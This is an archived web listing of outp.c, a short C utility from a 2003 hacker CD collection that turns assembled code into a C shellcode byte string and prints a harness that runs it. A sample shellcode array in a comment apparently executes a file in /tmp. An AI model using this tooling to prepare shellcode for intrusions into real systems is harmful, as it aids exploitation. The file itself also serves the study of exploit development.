home *** CD-ROM | disk | FTP | other *** search
/ Power Hacker 2003 / Power_Hacker_2003.iso / Exploit and vulnerability / teso / outp.c < prev    next >
Encoding:
C/C++ Source or Header  |  2002-05-07  |  1.1 KB  |  52 lines

  1. <html>#include <stdio.h>
  2. /* 
  3.  
  4.      convert .s to shellcode. typo/teso (typo@inferno.tusculum.edu)
  5.  
  6. $ cat lala.s
  7. .globl cbegin
  8. .globl cend
  9. cbegin:
  10.         xorl %eax, %eax
  11.   ...
  12. cend:
  13. $ gcc -Wall lala.s outp.c -o lala
  14. $ ./lala
  15. unsigned char shellcode[] =
  16. "\x31\xc0\x31\xdb\x31\xc9\xb3\x0f\xb1\x0f\xb0\x47\xcd\x80\xeb\x1e\x5b"
  17. "\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\x8d\x4b\x08\x8d\x53\x0c"
  18. "\xb0\x0b\xcd\x80\x89\xc3\x31\xc0\xb0\x01\xcd\x80\xe8\xdd\xff\xff\xff"
  19. "\x2f\x74\x6d\x70\x2f\x74\x73\x74\x65\x73\x6f\x63\x72\x65\x77\x21\x21";
  20. ...
  21.  
  22. */
  23.  
  24. extern void     cbegin();
  25. extern void     cend();
  26.  
  27. int main() {
  28.     char *buf = (char *) cbegin;
  29.     int i = 0, x = 0;
  30.  
  31.     printf("unsigned char shellcode[] = \n\"");
  32.     for (; (*buf) && (buf < (char *) cend); buf++) {
  33.         if (i++ == 17) i = 1;
  34.         if (i == 1 && x != 0) printf("\"\n\""); 
  35.         x = 1;
  36.         printf("\\x%02x", (unsigned char) *buf);
  37.     }
  38.     printf("\";\n");
  39.  
  40. printf("
  41. int main() {
  42.     void (*f)();
  43.     f = (void *) shellcode;
  44.     printf(\"%%d\\n\", strlen(shellcode));
  45.     f();
  46. }
  47. ");
  48.  
  49.     return(0);
  50. }
  51.  
  52.